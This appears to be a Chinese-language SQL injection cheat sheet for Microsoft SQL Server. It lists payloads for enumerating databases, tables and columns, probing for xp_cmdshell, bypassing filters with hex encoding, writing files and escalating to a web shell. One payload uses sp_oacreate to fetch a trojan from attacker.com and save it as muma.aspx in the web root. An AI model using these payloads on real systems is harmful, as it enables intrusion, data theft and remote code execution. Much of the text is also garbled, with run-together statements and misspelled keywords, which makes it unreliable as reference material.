MS SQL server是微软推出的一款数据库产品,主要面向中小企业,优势继承了微软公司的各类产品及资源,提供了强大的可视化界面,高度集成的管理开发工具,采用T-SQL语言。
其与普通的mysql注入类似,运行权限较高。
官网:
https://msdn.itellyou.cn/
创建数据库(DML):
Select,update、insert、delect
创建表(DDL):
Create、alert、drop
视图(DCL):
Grant,deny,revole
MSSQL注入常用属性:
Select@@seravernameMaster..syslogins,master…sysprocessesName.loginnameDB_NAME(I)
了解更多(备忘录):
https://websec.ca/kb/sql_injection#MSSQL_Default_Databases
存储过程:
在MSSQL中,存在大量的存储过程,即经过第一次编译后再次调用不需要再次编译。
注入原理:
针对MSSQL的注入可利用存储过程,来进行提等操作;以xp_cmdshell为代表的提权操作,利用存储过程维持权限,后渗透。
MSSQL数据库信息搜集语法:
@@VERSIONSELECT * FROM users WHERE id = ‘1’ AND @@VERSION LIKE ‘%14%’;Select name,loginame from master..syslogins,master..sysprocessesUser,system_user,suser_sname(),is_srvrolemember(‘sysadmin’)@@SERVERNAMESelect name from master..sysdatabasesSelect DB_NAME(i)
爆数据表:
UNION SELECT name FROM master..sysobjects WHERE xtype=’U’AND SELECT SUBSTRING(table_name.1.1)FROM information_schema.tables >’A’AND 1 =(SELECT TOP 1 table_name FROM information_schema.tables)AND 1=(SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))
Sysobjects是一个系统视图,用于存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,而XTYPE代表对象的类型。
常见的类型有:U:表(用户自定义类型)V:视图P:存储过程X:扩展存储过程
爆数据列名
Select table_name %2b’.’from information_schema.tables FOR XML PATH(“”)And 1=0; begin declare @xy varchar(8000) set @xy=’.’ select@xy=@xy+’’+name from sysobjects where xtype=’U’ AND name>@xy select @xy AS xy INTO TMP_DB end;Union select name FROM master_syscolumns where id = (select id FROM master_syscolumns where name = ‘tablename’)And select substring(column_name.1.1) FROM information_schema.columns >’A’AND 1= (select top 1 column_name FROM information_schema.columns)AND 1= (select top 1 column_name FROM information_schema.columns where column_name NOT IN(select top 1 column_name FROM information_schema.columns))
权限探测:
知识基础:
1.多语句注入
多语句注入即为在原SQL语句之后拼接一个“;”,闭合原语句。之后即可拼接其他类型的SQL语句。
使用多语句注入可不受注入点类型限制,而MSSQL默认支持多语句注入
2.TMP临时表
我们在读取文件内容时,常常受限于显示位无法直接回显数据,这时就需要通过
建立TMP临时表来间接将数据输出,创建语法为:
CREATE TABLE #my temptable(cola init primary KEY)
是否站库分离?
站库分类指的是出于安全或性能考虑,网站与数据库不在同一台机器上,我们在注入的过程中,需要考虑到,并判别目标网站是否执行了站库分离机制。
1’ and((selecthost_name()) = (select @@SERVERNAME))—
若报错,则站库分离;若回显正常,则无站库分离
@@servername
Host_name代表web应用主机
判断XP_CMDSHELL是否开启?
存储过程中的XP_CMDSHELL可执行系统命令,是后续提权操作的主要方式,从MSSQL2005版本之后,默认关闭。
1’ and 1=(selectcount(*) FROM master..sysobjects where xtype = ‘x’ AND name = ‘xp cmdshell’) --
若报错,则没有开启;若正常回显,则表示开启。
文件操作:从写文件到getshell
转存入表:Create table mydata (line varchar(8000));Bulk insert mydata from ‘d://1.txt’;DROP table mydata;
16进制转换绕过
‘and 1=0;declare@s varchar(4000) set @s=cast(16进制 AS varchar(4000))Exec(@s);
绕过引号:
Select*from userswhere username = char(97) +char(100)+char(109)+char(105)+char(110)
定位数据库文件:
EXEC sp_helpdbmaster; -location of master.mdf
&--xp_cmdshell执行系统命令写入文件
ph0rse1’;exec xp_cmdshell ‘whoami >c:\tmp\1.txt’;--
除xp_cmdshell之外,还有很多存储命令进行文件操作,例如SQ_OACREATE
&--dbowner权限下进行扩展攻击利用
;alter database news set recovery full –;create table test(str image) –;backup log news to disk = ‘c:\test’ with init –;insert into test(str) values(‘恶意代码’)—
&--sp_oacreate存储下载的远程文件
;DECLARE @B varbinary(8000),@hr int,@http INT,@down INTEXEC sp_oacreate [Microsoft.xmlhttp],@http outputEXEC @hr = sp_oamethod @http,[open],null,[get],[http://WWW.attacker.com/muma.txt],0EXEC @hr = sp_ oamethod @http,[send],nullEXEC @hr =sp_OAGetproperty @http,[responsebody],@B outputEXEC @hr = sp_oacreate [ADODB.Stream],@down outputEXEC @hr =sp_OASetproperty @down,[type],1 EXEC @hr=sp_ OASetproperty @down,[mode],3EXEC @hr =sp_ oamethod @down,[open],null EXEC @hr=sp_ oamethod @down,[write],null,@BEXEC @hr =sp_ oamethod @down,[savetofile],null,[c:\www_iis\muma.aspx],1




